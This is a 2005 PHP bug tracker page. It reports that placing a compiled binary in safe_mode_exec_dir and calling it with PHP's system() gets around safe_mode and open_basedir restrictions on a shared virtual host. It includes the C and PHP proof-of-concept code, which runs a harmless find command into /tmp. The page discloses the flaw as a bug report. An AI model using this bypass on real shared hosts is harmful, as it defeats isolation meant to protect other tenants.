|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2005-03-23 08:23 UTC] tony2001@php.net
[2005-03-23 16:38 UTC] ricardi at gmail dot com
[2005-03-23 16:41 UTC] tony2001@php.net
[2005-03-24 00:21 UTC] ricardi at gmail dot com
[2005-03-26 15:01 UTC] derick@php.net
[2005-03-28 04:49 UTC] ricardi at gmail dot com
[2005-03-31 16:38 UTC] vrana@php.net
|
|||||||||||||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Nov 02 08:00:02 2025 UTC |
Description: ------------ We bypass the safe_mode restrictions using binary with "system" function built-in. The problem occurs when we had an incident in a mass virtualhost machine. One of the domains, execute a script that bypass the safe_mode restrictions like open_base_dir and safe_mode_exec_dir. The configurations in the virtualhost was like: <VirtualHost *> ServerName www.something.com ServerPath /mnt/nfs/domains/something.com.br/www php_admin_value open_basedir /mnt/nfs/domains/something.com.br/ php_admin_value upload_tmp_dir /mnt/nfs/domains/something.com.br/ php_admin_value safe_mode_include_dir /mnt/nfs/domains/something.com.br/ php_admin_value safe_mode_exec_dir /mnt/nfs/domains/something.com.br/ ... </VirtualHost> We create a simple program in "C" that create a file outside the open_basedir and execute a binary that isn't in the safe_mode_exec_dir: /* --------------- Contents of file.c ---------------- */ #include <stdio.h> int main() { system("find / -maxdepth 1 > /tmp/trash.txt"); return 0; } Compiling: gcc -o file file.c With an ftp access, we put the file in the safe_mode_exec_dir: > ls -la mnt/nfs/domains/something.com.br/ -rwxr-xr-x 1 nfsnobod nfsnobod 13576 Mar 22 16:57 file Now create a php script that calls the binary. <?php system("file"); ?> Then put this on the webroot and after accessing the script with http://www.something.com.br/script.php, check the /tmp: > ls -la /tmp -rw-r--r-- 1 nfsnobody nfsnobody 139 Mar 22 21:00 trash.txt We had to disable the execution feature from our product.